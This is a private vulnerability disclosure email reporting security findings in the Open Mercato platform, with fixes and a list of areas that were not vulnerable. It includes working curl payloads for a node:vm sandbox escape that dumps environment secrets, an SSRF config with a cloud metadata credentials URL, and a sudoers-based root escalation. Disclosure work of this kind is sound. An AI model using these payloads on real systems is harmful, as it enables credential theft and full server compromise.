

Submission Email — Open Mercato Security Disclosure

To: info@catchthetornado.com **Subject:** Security Disclosure — Open Mercato v0.4.8 / v0.4.9 (2 Critical, 2 High, 5 Medium) **Reference:** Issue #546 — Security Review & Hardening Challenge; SECURITY.md disclosure channel

Hello,

I'm writing to submit findings from a security review of Open Mercato, conducted against the self-hosted Docker deployment (v0.4.8 and v0.4.9) following the Security Review & Hardening Challenge in issue #546.

The review covered the AI assistant surface, workflow engine, container configuration, and CI/CD pipeline over two days of hands-on testing. All findings are demonstrated exploits confirmed live via HTTP — no server access, no log inspection, no privileged tools.

Summary

Severity	Count	Includes
Critical	2	RCE via AI Code Mode sandbox; SSRF via workflow engine
High	2	Container privilege escalation; file upload OOM
Medium	5	Race condition, security headers, Meilisearch exposure, SSE limit, credential exposure
Low	2	Pagination caps, password minimum length

Version applicability:

- **NEW-01 (vm sandbox RCE): v0.4.9 only** — introduced in PR #889. `sandbox.ts` does not exist in v0.4.8; the `execute` tool is not registered and the endpoint will return `Tool "execute" not found` on v0.4.8.
- All other findings: present in both v0.4.8 and v0.4.9.

The Two Critical Findings

1 — VM Sandbox Escape (NEW-01): Remote Code Execution — CVSS 9.9

Introduced in v0.4.9, PR #889 (`feat: mcp code mode`). The AI Code Mode runs JavaScript in `node:vm` . Node.js documentation explicitly states `node:vm` is not a security boundary. The `Promise` object injected into the sandbox context retains its outer-context prototype chain, reaching the outer `Function` constructor and from there the full Node.js runtime.

Prerequisites for reproduction:

- v0.4.9 codebase (not v0.4.8 — the feature does not exist there)
- OpenCode deployed (`docker-compose.fullapp.yml` includes it by default; Railway template does not)
- Admin credentials + `tenantId` (`tenantId` visible in the JWT payload after login, or in the URL after `/backend/`)

Confirmed live on **Node.js v24.14.1** (the production runtime, `node:24-alpine`) via `POST /api/ai_assistant/tools/execute` — a direct REST endpoint, no UI required:

```
# Step 1: authenticate – tenantId is visible in the login page source or JWT after first login
curl -s -X POST http://TARGET/api/auth/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@example.com&password=PASSWORD&tenantId=TENANT_UUID"
# → {"token":"<jwt>"}

# Step 2: execute sandbox escape
# Node 24 vector – require() is blocked on Node 24, getBuiltinModule() is not
curl -s -X POST http://TARGET/api/ai_assistant/tools/execute \
  -H "Cookie: auth_token=<jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "toolName": "execute",
    "args": {
      "code": "Promise.resolve().constructor.constructor(`return
process.getBuiltinModule(`child_process`).execSync(`env`).toString()`)"
    }
  }'

# Node 22 vector (if testing on Node 22) – require() is accessible
curl -s -X POST http://TARGET/api/ai_assistant/tools/execute \
  -H "Cookie: auth_token=<jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "toolName": "execute",
    "args": {
      "code": "Promise.resolve().constructor.constructor(`return
require(`child_process`).execSync(`env`).toString()`)"
    }
  }'
```

Node version note: The project ships `node:24-alpine`. On Node 24, `require()` is blocked inside `node:vm` but `process.getBuiltinModule()` (added in Node 22.4) is not. Both versions are fully exploitable — the vector differs. Use the correct payload for the runtime you are testing on.

The HTTP response contains `DATABASE_URL`, `JWT_SECRET`, `TENANT_DATA_ENCRYPTION_FALLBACK_KEY`, and all other environment variables. With `JWT_SECRET`, a superadmin JWT can be forged offline in seconds, granting full API access across all tenants. Total: 6 HTTP requests, admin credentials, no machine access.

Evidence (self-sufficient — does not require reproduction): `evidence/NEW01-vm-sandbox-escape-CONFIRMED.json` contains the live output including extracted secrets and shell identity (`uid=1001(omuser)`). Screenshots `NEW01-02-ai-palette-open.png` and `NEW01-03-system-status-db-url-exposed.png` show the UI path.

Not present in v0.4.8. Applies when OpenCode is deployed — standard in `docker-compose.fullapp.yml`.

Recommended fix: replace `node:vm` with `isolated-vm` (V8 Isolates) or remove code execution entirely — the AI agent only needs `api.request()`. `isolated-vm` uses a genuinely separate V8 heap; the escape is

structurally impossible because there is no outer runtime to reach. An architectural alternative (BYOAI model) that eliminates the need for any sandbox is described in the full report.

2 — SSRF via CALL_WEBHOOK Workflow Activity (F01) — CVSS 8.6

The `CALL_WEBHOOK` activity in the workflow engine calls `fetch(url)` with no URL validation. The adjacent `CALL_API` activity in the same file (line 821) has explicit SSRF prevention; `CALL_WEBHOOK` was added without it. Present in both v0.4.8 and v0.4.9.

Prerequisites for reproduction:

- Admin credentials with `workflows.definitions.create` + `workflows.instances.create`
- Any deployment using Docker Compose (containers share a bridge network)

Reproduction note: Docker bridge IPs are environment-specific. Use the container hostname for reliable reproduction:

```
"config": {"url": "http://mercato-meilisearch-local:7700/health", "method": "GET"}
```

Confirmed live: after executing the workflow instance, the response context returned by the application contains `{"status": "available"}` — the internal service's response, delivered back through the app's own API. No server access required to observe this. The full workflow definition, execution trace, and response context are in `evidence/F01-ssrf-call-webhook.txt`.

On cloud deployments (AWS, GCP, Azure), replace the URL with `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to retrieve IAM credentials.

Recommended fix: add `validateWebhookUrl()` before `fetch()` in `executeCallWebhook()`, mirroring `buildApiUrl()`. An opt-out env var (`WORKFLOW_WEBHOOK_ALLOW_PRIVATE_URLS=true`) accommodates trusted self-hosted internal network use cases. Estimated effort: 30 minutes.

High Findings

Container Privilege Escalation (NEW-02) — High, post-RCE

The Dockerfile grants `omuser ALL=(root) NOPASSWD: /bin/chown` in the runtime stage. Confirmed via the sandbox escape (NEW-01): executing `sudo /bin/chown omuser /etc/sudoers` then appending a full sudoers grant via the same HTTP endpoint returns `uid=0(root)` in the response body — container root, no SSH required. The `chown` permission is used during build and not needed at runtime. Fix: remove the sudoers entry from the Dockerfile runner stage — one line.

File Upload Memory Exhaustion (A1) — High

`Buffer.from(await file.arrayBuffer())` in the attachments handler allocates the full upload in memory before any size check runs. Confirmed via HTTP: a 20MB binary upload returns HTTP 200 with no Content-Length rejection — the allocation occurs before any size policy is evaluated. Impact: on a constrained server, sustained large uploads exhaust available heap and kill the Node.js process, taking all tenants offline simultaneously. Fix: check `Content-Length` before `arrayBuffer()`. Estimated effort: 15 minutes.

Additional Findings

The following are detailed with evidence and fix plans in the full report:

- **RC1 — Quote Acceptance Race Condition (Medium):** No `SELECT FOR UPDATE` on a public token-gated endpoint. Confirmed via HTTP: firing concurrent POST requests against the acceptance endpoint causes the server to return a constraint violation error, proving both requests advanced past the status check simultaneously before either committed. Currently prevented from producing duplicate orders only by an accidental primary key collision — not an intentional guard.
 - **F03 — Missing HTTP Security Headers (Medium):** All six standard headers absent; `X-Powered-By: Next.js` disclosed.
 - **F17 — Meilisearch Network Exposure (Medium):** Port 7700 accessible on the network; default key rejected on this host but the port should not be reachable regardless.
 - **A7 — SSE No Per-User Connection Limit (Medium):** No cap on connections per user; file descriptor exhaustion possible.
 - **F02 — Integration Credentials in Plaintext (Medium):** Decrypted Stripe/OAuth secrets returned in GET response body.
 - **A3/A5/A6 — Pagination (Low):** Several endpoints accept unbounded `limit` values.
 - **F12 — Password Minimum Length 6 Characters (Low):** Below NIST guidance; env override already exists.
-

What Was Not Vulnerable

SQL injection (all Knex `whereRaw` calls use parameterised binding), XSS via React, path traversal in file storage, command injection, IDOR / cross-tenant data access (76 routes audited across customers, sales, and catalog — all correctly scope by `tenantId` and `organizationId`), customer-to-staff realm escalation, `isSuperAdmin` via API (no write path exists), and magic link token replay.

The platform's core security model — structural multi-tenant isolation via the CRUD factory, staff/customer portal separation as distinct JWT types with hard rejection, feature-based RBAC enforced per-request, and PII encryption with tenant-scoped keys — is well-designed and consistently applied.

Evidence and Documentation

The evidence package is self-sufficient — `NEW01-vm-sandbox-escape-CONFIRMED.json` contains the live output with extracted secrets. `F01-ssrf-call-webhook.txt` contains the workflow execution trace and the internal service response captured via HTTP. Both were obtained with no server access.

- **Executive summary with attack chain diagrams:** `.ai/security/EXECUTIVE-SUMMARY-2026-03-28.md`
 - **Full technical report (all findings):** `.ai/security/SECURITY-REPORT-2026-03-28.md`
 - **Architecture and access model assessment:** `.ai/security/ARCHITECTURE-SECURITY-REPORT-2026-03-28.md`
 - **Raw evidence (execution traces, logs, screenshots):** `.ai/security/evidence/`
 - **Fix plans with exact file, line, and code:** `.ai/security/fixes/`
 - **Strategic hardening spec:** `.ai/specs/SPEC-061-2026-03-26-security-hardening.md`
-

Safe Harbour

This research was conducted in good faith on an isolated self-hosted test environment. No production systems were accessed. No data was exfiltrated. No destructive actions were taken. Findings are being reported privately before any public disclosure, in line with `SECURITY.md`.

Thank you for running the security challenge. The codebase is genuinely well-structured and the core security model shows careful design. The critical findings are isolated and fixable quickly. Happy to coordinate on remediation timeline, walk through any finding in more detail, or discuss the BYOAI architectural recommendation for eliminating the sandbox vulnerability class entirely.